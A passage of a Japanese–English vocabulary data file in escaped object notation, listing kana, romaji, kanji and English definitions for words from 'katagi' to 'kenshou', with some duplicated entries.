people\"\n\t},\n\n\t{\n\t\t'kana':'かたぎ',\n\t\t'romaji':'katagi',\n\t\t'kanji':'気質',\n\t\t'definition':\"spirit;character;trait;temperament;disposition\"\n\t},\n\n\t{\n\t\t'kana':'かたい',\n\t\t'romaji':'katai',\n\t\t'kanji':'難い',\n\t\t'definition':\"difficult;hard\"\n\t},\n\n\t{\n\t\t'kana':'かたい',\n\t\t'romaji':'katai',\n\t\t'kanji':'難い',\n\t\t'definition':\"difficult;hard\"\n\t},\n\n\t{\n\t\t'kana':'かたい',\n\t\t'romaji':'katai',\n\t\t'kanji':'硬い',\n\t\t'definition':\"solid;hard (esp. metal stone);unpolished writing\"\n\t},\n\n\t{\n\t\t'kana':'かたい',\n\t\t'romaji':'katai',\n\t\t'kanji':'堅い',\n\t\t'definition':\"hard (esp. wood);steadfast;honorable;stuffy writing\"\n\t},\n\n\t{\n\t\t'kana':'かたい',\n\t\t'romaji':'katai',\n\t\t'kanji':'固い',\n\t\t'definition':\"stubborn;firm (not viscous or easily moved);certain;solemn\"\n\t},\n\n\t{\n\t\t'kana':'かたかな',\n\t\t'romaji':'katakana',\n\t\t'kanji':'片仮名',\n\t\t'definition':\"katakana\"\n\t},\n\n\t{\n\t\t'kana':'かたき',\n\t\t'romaji':'kataki',\n\t\t'kanji':'敵',\n\t\t'definition':\"enemy;rival\"\n\t},\n\n\t{\n\t\t'kana':'かたこと',\n\t\t'romaji':'katakoto',\n\t\t'kanji':'片言',\n\t\t'definition':\"a smattering;talk like a baby;speak haltingly\"\n\t},\n\n\t{\n\t\t'kana':'かたまり',\n\t\t'romaji':'katamari',\n\t\t'kanji':'塊',\n\t\t'definition':\"lump;mass;clod;cluster\"\n\t},\n\n\t{\n\t\t'kana':'かたまる',\n\t\t'romaji':'katamaru',\n\t\t'kanji':'固まる',\n\t\t'definition':\"to harden;to solidify;to become firm;to become certain\"\n\t},\n\n\t{\n\t\t'kana':'かためる',\n\t\t'romaji':'katameru',\n\t\t'kanji':'固める',\n\t\t'definition':\"to harden;to freeze;to fortify\"\n\t},\n\n\t{\n\t\t'kana':'かたみち',\n\t\t'romaji':'katamichi',\n\t\t'kanji':'片道',\n\t\t'definition':\"one-way (trip)\"\n\t},\n\n\t{\n\t\t'kana':'かたむける',\n\t\t'romaji':'katamukeru',\n\t\t'kanji':'傾ける',\n\t\t'definition':\"to incline;to list;to bend;to lean;to tip;to tilt;to slant;to concentrate on;to ruin (a country);to squander;to empty\"\n\t},\n\n\t{\n\t\t'kana':'かたな',\n\t\t'romaji':'katana',\n\t\t'kanji':'刀',\n\t\t'definition':\"sword;blade\"\n\t},\n\n\t{\n\t\t'kana':'かたおもい',\n\t\t'romaji':'kataomoi',\n\t\t'kanji':'片思い',\n\t\t'definition':\"unrequited love\"\n\t},\n\n\t{\n\t\t'kana':'かたる',\n\t\t'romaji':'kataru',\n\t\t'kanji':'語る',\n\t\t'definition':\"to talk;to tell;to recite\"\n\t},\n\n\t{\n\t\t'kana':'かたわら',\n\t\t'romaji':'katawara',\n\t\t'kanji':'傍ら',\n\t\t'definition':\"beside(s);while;nearby\"\n\t},\n\n\t{\n\t\t'kana':'かたよる',\n\t\t'romaji':'katayoru',\n\t\t'kanji':'偏る',\n\t\t'definition':\"to be one-sided;to incline;to be partial;to be prejudiced;to lean;to be biased\"\n\t},\n\n\t{\n\t\t'kana':'かたよる',\n\t\t'romaji':'katayoru',\n\t\t'kanji':'片寄る',\n\t\t'definition':\"to be one-sided;to incline;to be partial;to be prejudiced;to lean;to be biased\"\n\t},\n\n\t{\n\t\t'kana':'かって',\n\t\t'romaji':'kate',\n\t\t'kanji':'勝手',\n\t\t'definition':\"kitchen;one's own convenience;one's way;selfishness\"\n\t},\n\n\t{\n\t\t'kana':'カテゴリー',\n\t\t'romaji':'kategori-',\n\t\t'kanji':'',\n\t\t'definition':\"category\"\n\t},\n\n\t{\n\t\t'kana':'かてい',\n\t\t'romaji':'katei',\n\t\t'kanji':'課程',\n\t\t'definition':\"course;curriculum\"\n\t},\n\n\t{\n\t\t'kana':'かてい',\n\t\t'romaji':'katei',\n\t\t'kanji':'過程',\n\t\t'definition':\"process\"\n\t},\n\n\t{\n\t\t'kana':'かてい',\n\t\t'romaji':'katei',\n\t\t'kanji':'家庭',\n\t\t'definition':\"home;family;household\"\n\t},\n\n\t{\n\t\t'kana':'かてい',\n\t\t'romaji':'katei',\n\t\t'kanji':'仮定',\n\t\t'definition':\"assumption;supposition;hypothesis\"\n\t},\n\n\t{\n\t\t'kana':'カーテン',\n\t\t'romaji':'ka-ten',\n\t\t'kanji':'',\n\t\t'definition':\"curtain;carton\"\n\t},\n\n\t{\n\t\t'kana':'カット',\n\t\t'romaji':'kato',\n\t\t'kanji':'',\n\t\t'definition':\"cut;cutting\"\n\t},\n\n\t{\n\t\t'kana':'かつ',\n\t\t'romaji':'katsu',\n\t\t'kanji':'割',\n\t\t'definition':\"divide;cut;halve;separate;split;rip;break;crack;smash;dilute\"\n\t},\n\n\t{\n\t\t'kana':'かつ',\n\t\t'romaji':'katsu',\n\t\t'kanji':'勝つ',\n\t\t'definition':\"to win\"\n\t},\n\n\t{\n\t\t'kana':'かつ',\n\t\t'romaji':'katsu',\n\t\t'kanji':'且つ',\n\t\t'definition':\"yet;and\"\n\t},\n\n\t{\n\t\t'kana':'かつどう',\n\t\t'romaji':'katsudou',\n\t\t'kanji':'活動',\n\t\t'definition':\"action;activity\"\n\t},\n\n\t{\n\t\t'kana':'かつぐ',\n\t\t'romaji':'katsugu',\n\t\t'kanji':'担ぐ',\n\t\t'definition':\"to shoulder;to carry on shoulder\"\n\t},\n\n\t{\n\t\t'kana':'かつじ',\n\t\t'romaji':'katsuji',\n\t\t'kanji':'活字',\n\t\t'definition':\"printing type\"\n\t},\n\n\t{\n\t\t'kana':'かつりょく',\n\t\t'romaji':'katsuryoku',\n\t\t'kanji':'活力',\n\t\t'definition':\"vitality;energy\"\n\t},\n\n\t{\n\t\t'kana':'かつて',\n\t\t'romaji':'katsute',\n\t\t'kanji':'嘗て',\n\t\t'definition':\"once;ever\"\n\t},\n\n\t{\n\t\t'kana':'かつやく',\n\t\t'romaji':'katsuyaku',\n\t\t'kanji':'活躍',\n\t\t'definition':\"activity\"\n\t},\n\n\t{\n\t\t'kana':'かつよう',\n\t\t'romaji':'katsuyou',\n\t\t'kanji':'活用',\n\t\t'definition':\"conjugation;practical use\"\n\t},\n\n\t{\n\t\t'kana':'かってに',\n\t\t'romaji':'katteni',\n\t\t'kanji':'勝手に',\n\t\t'definition':\"arbitrarily;of it's own accord;involuntarily;wilfully;as one pleases\"\n\t},\n\n\t{\n\t\t'kana':'かう',\n\t\t'romaji':'kau',\n\t\t'kanji':'飼う',\n\t\t'definition':\"to keep;to raise;to feed\"\n\t},\n\n\t{\n\t\t'kana':'かう',\n\t\t'romaji':'kau',\n\t\t'kanji':'買う',\n\t\t'definition':\"to buy\"\n\t},\n\n\t{\n\t\t'kana':'かわ',\n\t\t'romaji':'kawa',\n\t\t'kanji':'革',\n\t\t'definition':\"leather\"\n\t},\n\n\t{\n\t\t'kana':'かわ',\n\t\t'romaji':'kawa',\n\t\t'kanji':'皮',\n\t\t'definition':\"skin;hide;leather;fur;pelt;bark;shell\"\n\t},\n\n\t{\n\t\t'kana':'かわ',\n\t\t'romaji':'kawa',\n\t\t'kanji':'川',\n\t\t'definition':\"river\"\n\t},\n\n\t{\n\t\t'kana':'かわ',\n\t\t'romaji':'kawa',\n\t\t'kanji':'側',\n\t\t'definition':\"side;row;surroundings;part;(watch) case\"\n\t},\n\n\t{\n\t\t'kana':'かわいがる',\n\t\t'romaji':'kawaigaru',\n\t\t'kanji':'可愛がる',\n\t\t'definition':\"to love;to be affectionate\"\n\t},\n\n\t{\n\t\t'kana':'かわいい',\n\t\t'romaji':'kawaii',\n\t\t'kanji':'可愛い',\n\t\t'definition':\"pretty;cute;lovely;charming;dear;darling;pet\"\n\t},\n\n\t{\n\t\t'kana':'かわいらしい',\n\t\t'romaji':'kawairashii',\n\t\t'kanji':'可愛らしい',\n\t\t'definition':\"lovely;sweet\"\n\t},\n\n\t{\n\t\t'kana':'かわいそう',\n\t\t'romaji':'kawaisou',\n\t\t'kanji':'可哀想',\n\t\t'definition':\"poor;pitiable;pathetic\"\n\t},\n\n\t{\n\t\t'kana':'かわかす',\n\t\t'romaji':'kawakasu',\n\t\t'kanji':'乾かす',\n\t\t'definition':\"to dry (clothes etc.);to desiccate\"\n\t},\n\n\t{\n\t\t'kana':'かわく',\n\t\t'romaji':'kawaku',\n\t\t'kanji':'渇く',\n\t\t'definition':\"to be thirsty\"\n\t},\n\n\t{\n\t\t'kana':'かわく',\n\t\t'romaji':'kawaku',\n\t\t'kanji':'乾く',\n\t\t'definition':\"to get dry\"\n\t},\n\n\t{\n\t\t'kana':'かわら',\n\t\t'romaji':'kawara',\n\t\t'kanji':'瓦',\n\t\t'definition':\"roof tile\"\n\t},\n\n\t{\n\t\t'kana':'かわり',\n\t\t'romaji':'kawari',\n\t\t'kanji':'代わり',\n\t\t'definition':\"substitute;deputy;proxy;alternate;relief;compensation;second helping\"\n\t},\n\n\t{\n\t\t'kana':'かわる',\n\t\t'romaji':'kawaru',\n\t\t'kanji':'変わる',\n\t\t'definition':\"to change;to be transformed;to vary;to be revised;to be different;to move location\"\n\t},\n\n\t{\n\t\t'kana':'かわる',\n\t\t'romaji':'kawaru',\n\t\t'kanji':'代わる',\n\t\t'definition':\"to take the place of;to relieve;to be substituted for;to be exchanged;to change places with;to take turns;to be replaced\"\n\t},\n\n\t{\n\t\t'kana':'かわるがわる',\n\t\t'romaji':'kawarugawaru',\n\t\t'kanji':'代わる代わる',\n\t\t'definition':\"alternately\"\n\t},\n\n\t{\n\t\t'kana':'かわせ',\n\t\t'romaji':'kawase',\n\t\t'kanji':'為替',\n\t\t'definition':\"money order;exchange\"\n\t},\n\n\t{\n\t\t'kana':'かわす',\n\t\t'romaji':'kawasu',\n\t\t'kanji':'交わす',\n\t\t'definition':\"to exchange (messages);to dodge;to parry;to avoid;to turn aside\"\n\t},\n\n\t{\n\t\t'kana':'かよう',\n\t\t'romaji':'kayou',\n\t\t'kanji':'火曜',\n\t\t'definition':\"Tuesday\"\n\t},\n\n\t{\n\t\t'kana':'かよう',\n\t\t'romaji':'kayou',\n\t\t'kanji':'歌謡',\n\t\t'definition':\"song;ballad\"\n\t},\n\n\t{\n\t\t'kana':'かよう',\n\t\t'romaji':'kayou',\n\t\t'kanji':'通う',\n\t\t'definition':\"to commute;to go back and forth\"\n\t},\n\n\t{\n\t\t'kana':'かゆ',\n\t\t'romaji':'kayu',\n\t\t'kanji':'粥',\n\t\t'definition':\"(rice) gruel\"\n\t},\n\n\t{\n\t\t'kana':'かゆい',\n\t\t'romaji':'kayui',\n\t\t'kanji':'痒い',\n\t\t'definition':\"itchy;itching\"\n\t},\n\n\t{\n\t\t'kana':'かざぐるま',\n\t\t'romaji':'kazaguruma',\n\t\t'kanji':'風車',\n\t\t'definition':\"1. windmill; 2. pinwheel\"\n\t},\n\n\t{\n\t\t'kana':'かざん',\n\t\t'romaji':'kazan',\n\t\t'kanji':'火山',\n\t\t'definition':\"volcano\"\n\t},\n\n\t{\n\t\t'kana':'かざり',\n\t\t'romaji':'kazari',\n\t\t'kanji':'飾り',\n\t\t'definition':\"decoration\"\n\t},\n\n\t{\n\t\t'kana':'かざる',\n\t\t'romaji':'kazaru',\n\t\t'kanji':'飾る',\n\t\t'definition':\"to decorate;to ornament;to adorn\"\n\t},\n\n\t{\n\t\t'kana':'かぜ',\n\t\t'romaji':'kaze',\n\t\t'kanji':'風',\n\t\t'definition':\"wind;breeze\"\n\t},\n\n\t{\n\t\t'kana':'かぜ',\n\t\t'romaji':'kaze',\n\t\t'kanji':'風邪',\n\t\t'definition':\"cold (illness);common cold\"\n\t},\n\n\t{\n\t\t'kana':'かぜ',\n\t\t'romaji':'kaze',\n\t\t'kanji':'風',\n\t\t'definition':\"wind;breeze\"\n\t},\n\n\t{\n\t\t'kana':'かぜい',\n\t\t'romaji':'kazei',\n\t\t'kanji':'課税',\n\t\t'definition':\"taxation\"\n\t},\n\n\t{\n\t\t'kana':'かぞえる',\n\t\t'romaji':'kazoeru',\n\t\t'kanji':'数える',\n\t\t'definition':\"to count\"\n\t},\n\n\t{\n\t\t'kana':'かぞく',\n\t\t'romaji':'kazoku',\n\t\t'kanji':'家族',\n\t\t'definition':\"family;members of a family\"\n\t},\n\n\t{\n\t\t'kana':'かず',\n\t\t'romaji':'kazu',\n\t\t'kanji':'数',\n\t\t'definition':\"number;figure\"\n\t},\n\n\t{\n\t\t'kana':'かず',\n\t\t'romaji':'kazu',\n\t\t'kanji':'数',\n\t\t'definition':\"number;figure\"\n\t},\n\n\t{\n\t\t'kana':'け',\n\t\t'romaji':'ke',\n\t\t'kanji':'毛',\n\t\t'definition':\"hair;fur\"\n\t},\n\n\t{\n\t\t'kana':'け',\n\t\t'romaji':'ke',\n\t\t'kanji':'毛',\n\t\t'definition':\"hair;fur\"\n\t},\n\n\t{\n\t\t'kana':'けち',\n\t\t'romaji':'kechi',\n\t\t'kanji':'吝嗇',\n\t\t'definition':\"stinginess;miser;miserliness;skinflint;tightwad;niggard;pinching pennies\"\n\t},\n\n\t{\n\t\t'kana':'けだもの',\n\t\t'romaji':'kedamono',\n\t\t'kanji':'獣',\n\t\t'definition':\"beast;brute\"\n\t},\n\n\t{\n\t\t'kana':'けだもの',\n\t\t'romaji':'kedamono',\n\t\t'kanji':'獣',\n\t\t'definition':\"beast;brute\"\n\t},\n\n\t{\n\t\t'kana':'けが',\n\t\t'romaji':'kega',\n\t\t'kanji':'怪我',\n\t\t'definition':\"injury (to animate object);hurt\"\n\t},\n\n\t{\n\t\t'kana':'けがらわしい',\n\t\t'romaji':'kegarawashii',\n\t\t'kanji':'汚らわしい',\n\t\t'definition':\"filthy;unfair\"\n\t},\n\n\t{\n\t\t'kana':'けがれ',\n\t\t'romaji':'kegare',\n\t\t'kanji':'汚れ',\n\t\t'definition':\"uncleanness;impurity;disgrace\"\n\t},\n\n\t{\n\t\t'kana':'けがれる',\n\t\t'romaji':'kegareru',\n\t\t'kanji':'汚れる',\n\t\t'definition':\"to get dirty;to become dirty\"\n\t},\n\n\t{\n\t\t'kana':'けがす',\n\t\t'romaji':'kegasu',\n\t\t'kanji':'汚す',\n\t\t'definition':\"to disgrace;to dishonour\"\n\t},\n\n\t{\n\t\t'kana':'けがわ',\n\t\t'romaji':'kegawa',\n\t\t'kanji':'毛皮',\n\t\t'definition':\"fur;skin;pelt\"\n\t},\n\n\t{\n\t\t'kana':'けい',\n\t\t'romaji':'kei',\n\t\t'kanji':'系',\n\t\t'definition':\"system;lineage;group\"\n\t},\n\n\t{\n\t\t'kana':'けい',\n\t\t'romaji':'kei',\n\t\t'kanji':'傾',\n\t\t'definition':\"lean;incline\"\n\t},\n\n\t{\n\t\t'kana':'けい',\n\t\t'romaji':'kei',\n\t\t'kanji':'頃',\n\t\t'definition':\"time;about;toward;approximately (time)\"\n\t},\n\n\t{\n\t\t'kana':'けい',\n\t\t'romaji':'kei',\n\t\t'kanji':'計',\n\t\t'definition':\"plan\"\n\t},\n\n\t{\n\t\t'kana':'けい',\n\t\t'romaji':'kei',\n\t\t'kanji':'刑',\n\t\t'definition':\"penalty;sentence;punishment\"\n\t},\n\n\t{\n\t\t'kana':'けいば',\n\t\t'romaji':'keiba',\n\t\t'kanji':'競馬',\n\t\t'definition':\"horse racing\"\n\t},\n\n\t{\n\t\t'kana':'けいばつ',\n\t\t'romaji':'keibatsu',\n\t\t'kanji':'刑罰',\n\t\t'definition':\"judgement;penalty;punishment\"\n\t},\n\n\t{\n\t\t'kana':'けいべつ',\n\t\t'romaji':'keibetsu',\n\t\t'kanji':'軽蔑',\n\t\t'definition':\"scorn;disdain\"\n\t},\n\n\t{\n\t\t'kana':'けいび',\n\t\t'romaji':'keibi',\n\t\t'kanji':'警備',\n\t\t'definition':\"defense;guard;policing;security\"\n\t},\n\n\t{\n\t\t'kana':'けいぶ',\n\t\t'romaji':'keibu',\n\t\t'kanji':'警部',\n\t\t'definition':\"police inspector\"\n\t},\n\n\t{\n\t\t'kana':'けいど',\n\t\t'romaji':'keido',\n\t\t'kanji':'経度',\n\t\t'definition':\"longitude\"\n\t},\n\n\t{\n\t\t'kana':'けいえい',\n\t\t'romaji':'keiei',\n\t\t'kanji':'経営',\n\t\t'definition':\"management;administration\"\n\t},\n\n\t{\n\t\t'kana':'けいげん',\n\t\t'romaji':'keigen',\n\t\t'kanji':'軽減',\n\t\t'definition':\"abatement\"\n\t},\n\n\t{\n\t\t'kana':'けいご',\n\t\t'romaji':'keigo',\n\t\t'kanji':'敬語',\n\t\t'definition':\"honorific;term of respect\"\n\t},\n\n\t{\n\t\t'kana':'けいぐ',\n\t\t'romaji':'keigu',\n\t\t'kanji':'敬具',\n\t\t'definition':\"Sincerely yours\"\n\t},\n\n\t{\n\t\t'kana':'けいひ',\n\t\t'romaji':'keihi',\n\t\t'kanji':'経費',\n\t\t'definition':\"expenses;cost;outlay\"\n\t},\n\n\t{\n\t\t'kana':'けいい',\n\t\t'romaji':'keii',\n\t\t'kanji':'敬意',\n\t\t'definition':\"respect;honour\"\n\t},\n\n\t{\n\t\t'kana':'けいじ',\n\t\t'romaji':'keiji',\n\t\t'kanji':'刑事',\n\t\t'definition':\"criminal case;(police) detective\"\n\t},\n\n\t{\n\t\t'kana':'けいじ',\n\t\t'romaji':'keiji',\n\t\t'kanji':'掲示',\n\t\t'definition':\"notice;bulletin\"\n\t},\n\n\t{\n\t\t'kana':'けいか',\n\t\t'romaji':'keika',\n\t\t'kanji':'経過',\n\t\t'definition':\"passage;expiration;progress\"\n\t},\n\n\t{\n\t\t'kana':'けいかい',\n\t\t'romaji':'keikai',\n\t\t'kanji':'警戒',\n\t\t'definition':\"warning;admonition;vigilance\"\n\t},\n\n\t{\n\t\t'kana':'けいかい',\n\t\t'romaji':'keikai',\n\t\t'kanji':'軽快',\n\t\t'definition':\"rhythmical (e.g. melody);casual (e.g. dress);light;nimble\"\n\t},\n\n\t{\n\t\t'kana':'けいかく',\n\t\t'romaji':'keikaku',\n\t\t'kanji':'計画',\n\t\t'definition':\"plan;project;schedule;scheme;program\"\n\t},\n\n\t{\n\t\t'kana':'けいかん',\n\t\t'romaji':'keikan',\n\t\t'kanji':'警官',\n\t\t'definition':\"policeman\"\n\t},\n\n\t{\n\t\t'kana':'けいけん',\n\t\t'romaji':'keiken',\n\t\t'kanji':'経験',\n\t\t'definition':\"experience\"\n\t},\n\n\t{\n\t\t'kana':'けいき',\n\t\t'romaji':'keiki',\n\t\t'kanji':'景気',\n\t\t'definition':\"condition;state;business (condition)\"\n\t},\n\n\t{\n\t\t'kana':'けいき',\n\t\t'romaji':'keiki',\n\t\t'kanji':'契機',\n\t\t'definition':\"opportunity;chance\"\n\t},\n\n\t{\n\t\t'kana':'けいき',\n\t\t'romaji':'keiki',\n\t\t'kanji':'計器',\n\t\t'definition':\"meter;gauge\"\n\t},\n\n\t{\n\t\t'kana':'けいこ',\n\t\t'romaji':'keiko',\n\t\t'kanji':'稽古',\n\t\t'definition':\"practice;training;study\"\n\t},\n\n\t{\n\t\t'kana':'けいこく',\n\t\t'romaji':'keikoku',\n\t\t'kanji':'警告',\n\t\t'definition':\"warning;advice\"\n\t},\n\n\t{\n\t\t'kana':'けいこう',\n\t\t'romaji':'keikou',\n\t\t'kanji':'傾向',\n\t\t'definition':\"tendency;trend;inclination\"\n\t},\n\n\t{\n\t\t'kana':'けいこうとう',\n\t\t'romaji':'keikoutou',\n\t\t'kanji':'蛍光灯',\n\t\t'definition':\"fluorescent lamp;person who is slow to react\"\n\t},\n\n\t{\n\t\t'kana':'けいれき',\n\t\t'romaji':'keireki',\n\t\t'kanji':'経歴',\n\t\t'definition':\"personal history;career\"\n\t},\n\n\t{\n\t\t'kana':'けいろ',\n\t\t'romaji':'keiro',\n\t\t'kanji':'経路',\n\t\t'definition':\"course;route;channel\"\n\t},\n\n\t{\n\t\t'kana':'けいさい',\n\t\t'romaji':'keisai',\n\t\t'kanji':'掲載',\n\t\t'definition':\"appearance (e.g. article in paper)\"\n\t},\n\n\t{\n\t\t'kana':'けいさん',\n\t\t'romaji':'keisan',\n\t\t'kanji':'計算',\n\t\t'definition':\"calculation;reckoning\"\n\t},\n\n\t{\n\t\t'kana':'けいさつ',\n\t\t'romaji':'keisatsu',\n\t\t'kanji':'警察',\n\t\t'definition':\"police\"\n\t},\n\n\t{\n\t\t'kana':'けいせい',\n\t\t'romaji':'keisei',\n\t\t'kanji':'形勢',\n\t\t'definition':\"condition;situation;prospects\"\n\t},\n\n\t{\n\t\t'kana':'けいせい',\n\t\t'romaji':'keisei',\n\t\t'kanji':'形成',\n\t\t'definition':\"formation\"\n\t},\n\n\t{\n\t\t'kana':'けいしゃ',\n\t\t'romaji':'keisha',\n\t\t'kanji':'傾斜',\n\t\t'definition':\"inclination;slant;slope;bevel;list;dip\"\n\t},\n\n\t{\n\t\t'kana':'けいしき',\n\t\t'romaji':'keishiki',\n\t\t'kanji':'形式',\n\t\t'definition':\"form;formality;format;math expression\"\n\t},\n\n\t{\n\t\t'kana':'けいそつ',\n\t\t'romaji':'keisotsu',\n\t\t'kanji':'軽率',\n\t\t'definition':\"rash;thoughtless;careless;hasty\"\n\t},\n\n\t{\n\t\t'kana':'けいたい',\n\t\t'romaji':'keitai',\n\t\t'kanji':'形態',\n\t\t'definition':\"form;shape;figure\"\n\t},\n\n\t{\n\t\t'kana':'けいたい',\n\t\t'romaji':'keitai',\n\t\t'kanji':'携帯',\n\t\t'definition':\"carrying something\"\n\t},\n\n\t{\n\t\t'kana':'けいと',\n\t\t'romaji':'keito',\n\t\t'kanji':'毛糸',\n\t\t'definition':\"knitting wool\"\n\t},\n\n\t{\n\t\t'kana':'けいとう',\n\t\t'romaji':'keitou',\n\t\t'kanji':'系統',\n\t\t'definition':\"system;family line;geological formation;lineage;ancestry\"\n\t},\n\n\t{\n\t\t'kana':'けいやく',\n\t\t'romaji':'keiyaku',\n\t\t'kanji':'契約',\n\t\t'definition':\"contract;compact;agreement\"\n\t},\n\n\t{\n\t\t'kana':'けいようどうし',\n\t\t'romaji':'keiyoudoushi',\n\t\t'kanji':'形容動詞',\n\t\t'definition':\"adjectival noun;quasi-adjective\"\n\t},\n\n\t{\n\t\t'kana':'けいようし',\n\t\t'romaji':'keiyoushi',\n\t\t'kanji':'形容詞',\n\t\t'definition':\"true adjective\"\n\t},\n\n\t{\n\t\t'kana':'けいゆ',\n\t\t'romaji':'keiyu',\n\t\t'kanji':'経由',\n\t\t'definition':\"go by the way;via\"\n\t},\n\n\t{\n\t\t'kana':'けいざい',\n\t\t'romaji':'keizai',\n\t\t'kanji':'経済',\n\t\t'definition':\"economics;business;finance;economy\"\n\t},\n\n\t{\n\t\t'kana':'けいぞく',\n\t\t'romaji':'keizoku',\n\t\t'kanji':'継続',\n\t\t'definition':\"continuation\"\n\t},\n\n\t{\n\t\t'kana':'けっか',\n\t\t'romaji':'keka',\n\t\t'kanji':'結果',\n\t\t'definition':\"result;consequence\"\n\t},\n\n\t{\n\t\t'kana':'ケーキ',\n\t\t'romaji':'ke-ki',\n\t\t'kanji':'',\n\t\t'definition':\"cake\"\n\t},\n\n\t{\n\t\t'kana':'けっかく',\n\t\t'romaji':'kekkaku',\n\t\t'kanji':'結核',\n\t\t'definition':\"tuberculosis;tubercule\"\n\t},\n\n\t{\n\t\t'kana':'けっかん',\n\t\t'romaji':'kekkan',\n\t\t'kanji':'欠陥',\n\t\t'definition':\"defect;fault;deficiency\"\n\t},\n\n\t{\n\t\t'kana':'けっかん',\n\t\t'romaji':'kekkan',\n\t\t'kanji':'血管',\n\t\t'definition':\"blood vessel\"\n\t},\n\n\t{\n\t\t'kana':'けっこん',\n\t\t'romaji':'kekkon',\n\t\t'kanji':'結婚',\n\t\t'definition':\"marriage\"\n\t},\n\n\t{\n\t\t'kana':'けっこう',\n\t\t'romaji':'kekkou',\n\t\t'kanji':'結構',\n\t\t'definition':\"1. (uk) splendid;nice;well enough;tolerably;wonderful;delicious;sweet; 2. (arch) construction;architecture\"\n\t},\n\n\t{\n\t\t'kana':'けっこう',\n\t\t'romaji':'kekkou',\n\t\t'kanji':'決行',\n\t\t'definition':\"doing (with resolve);carrying out (i.e. a plan)\"\n\t},\n\n\t{\n\t\t'kana':'けっきょく',\n\t\t'romaji':'kekyoku',\n\t\t'kanji':'結局',\n\t\t'definition':\"after all;eventually\"\n\t},\n\n\t{\n\t\t'kana':'けむい',\n\t\t'romaji':'kemui',\n\t\t'kanji':'煙い',\n\t\t'definition':\"smoky\"\n\t},\n\n\t{\n\t\t'kana':'けむり',\n\t\t'romaji':'kemuri',\n\t\t'kanji':'煙',\n\t\t'definition':\"smoke;fumes\"\n\t},\n\n\t{\n\t\t'kana':'けむる',\n\t\t'romaji':'kemuru',\n\t\t'kanji':'煙る',\n\t\t'definition':\"to smoke (e.g. fire)\"\n\t},\n\n\t{\n\t\t'kana':'けむたい',\n\t\t'romaji':'kemutai',\n\t\t'kanji':'煙たい',\n\t\t'definition':\"smoky;feeling awkward\"\n\t},\n\n\t{\n\t\t'kana':'けん',\n\t\t'romaji':'ken',\n\t\t'kanji':'権',\n\t\t'definition':\"authority;the right (to do something)\"\n\t},\n\n\t{\n\t\t'kana':'けん',\n\t\t'romaji':'ken',\n\t\t'kanji':'圏',\n\t\t'definition':\"sphere;circle;range\"\n\t},\n\n\t{\n\t\t'kana':'けん',\n\t\t'romaji':'ken',\n\t\t'kanji':'券',\n\t\t'definition':\"ticket;coupon;bond;certificate\"\n\t},\n\n\t{\n\t\t'kana':'けなす',\n\t\t'romaji':'kenasu',\n\t\t'kanji':'貶す',\n\t\t'definition':\"to speak ill of\"\n\t},\n\n\t{\n\t\t'kana':'けんびきょう',\n\t\t'romaji':'kenbikyou',\n\t\t'kanji':'顕微鏡',\n\t\t'definition':\"microscope\"\n\t},\n\n\t{\n\t\t'kana':'けんぶつ',\n\t\t'romaji':'kenbutsu',\n\t\t'kanji':'見物',\n\t\t'definition':\"sightseeing\"\n\t},\n\n\t{\n\t\t'kana':'けんち',\n\t\t'romaji':'kenchi',\n\t\t'kanji':'見地',\n\t\t'definition':\"point of view\"\n\t},\n\n\t{\n\t\t'kana':'けんちく',\n\t\t'romaji':'kenchiku',\n\t\t'kanji':'建築',\n\t\t'definition':\"construction;architecture\"\n\t},\n\n\t{\n\t\t'kana':'けんちょう',\n\t\t'romaji':'kenchou',\n\t\t'kanji':'県庁',\n\t\t'definition':\"prefectural office\"\n\t},\n\n\t{\n\t\t'kana':'けんがく',\n\t\t'romaji':'kengaku',\n\t\t'kanji':'見学',\n\t\t'definition':\"inspection;study by observation;field trip\"\n\t},\n\n\t{\n\t\t'kana':'けんげん',\n\t\t'romaji':'kengen',\n\t\t'kanji':'権限',\n\t\t'definition':\"power;authority;jurisdiction\"\n\t},\n\n\t{\n\t\t'kana':'けんぎょう',\n\t\t'romaji':'kengyou',\n\t\t'kanji':'兼業',\n\t\t'definition':\"side line;second business\"\n\t},\n\n\t{\n\t\t'kana':'けんい',\n\t\t'romaji':'keni',\n\t\t'kanji':'権威',\n\t\t'definition':\"authority;power;influence\"\n\t},\n\n\t{\n\t\t'kana':'けんじ',\n\t\t'romaji':'kenji',\n\t\t'kanji':'検事',\n\t\t'definition':\"public prosecutor\"\n\t},\n\n\t{\n\t\t'kana':'けんか',\n\t\t'romaji':'kenka',\n\t\t'kanji':'喧嘩',\n\t\t'definition':\"quarrel;(drunken) brawl;failure\"\n\t},\n\n\t{\n\t\t'kana':'けんかい',\n\t\t'romaji':'kenkai',\n\t\t'kanji':'見解',\n\t\t'definition':\"opinion;point of view\"\n\t},\n\n\t{\n\t\t'kana':'けんこう',\n\t\t'romaji':'kenkou',\n\t\t'kanji':'健康',\n\t\t'definition':\"health;sound;wholesome\"\n\t},\n\n\t{\n\t\t'kana':'けんきょ',\n\t\t'romaji':'kenkyo',\n\t\t'kanji':'謙虚',\n\t\t'definition':\"modesty;humility\"\n\t},\n\n\t{\n\t\t'kana':'けんきゅう',\n\t\t'romaji':'kenkyuu',\n\t\t'kanji':'研究',\n\t\t'definition':\"study;research;investigation\"\n\t},\n\n\t{\n\t\t'kana':'けんめい',\n\t\t'romaji':'kenmei',\n\t\t'kanji':'懸命',\n\t\t'definition':\"eagerness;earnestness;risking one's life\"\n\t},\n\n\t{\n\t\t'kana':'けんめい',\n\t\t'romaji':'kenmei',\n\t\t'kanji':'賢明',\n\t\t'definition':\"wisdom;intelligence;prudence\"\n\t},\n\n\t{\n\t\t'kana':'けんぽう',\n\t\t'romaji':'kenpou',\n\t\t'kanji':'憲法',\n\t\t'definition':\"constitution\"\n\t},\n\n\t{\n\t\t'kana':'けんり',\n\t\t'romaji':'kenri',\n\t\t'kanji':'権利',\n\t\t'definition':\"right;privilege\"\n\t},\n\n\t{\n\t\t'kana':'けんりょく',\n\t\t'romaji':'kenryoku',\n\t\t'kanji':'権力',\n\t\t'definition':\"power;authority;influence\"\n\t},\n\n\t{\n\t\t'kana':'けんさ',\n\t\t'romaji':'kensa',\n\t\t'kanji':'検査',\n\t\t'definition':\"inspection (e.g. customs factory);examination\"\n\t},\n\n\t{\n\t\t'kana':'けんせつ',\n\t\t'romaji':'kensetsu',\n\t\t'kanji':'建設',\n\t\t'definition':\"construction;establishment\"\n\t},\n\n\t{\n\t\t'kana':'けんしょう',\n\t\t'romaji':'kenshou',\n\t\t'kanji':'懸賞',\n\t\t'definition':\"offering 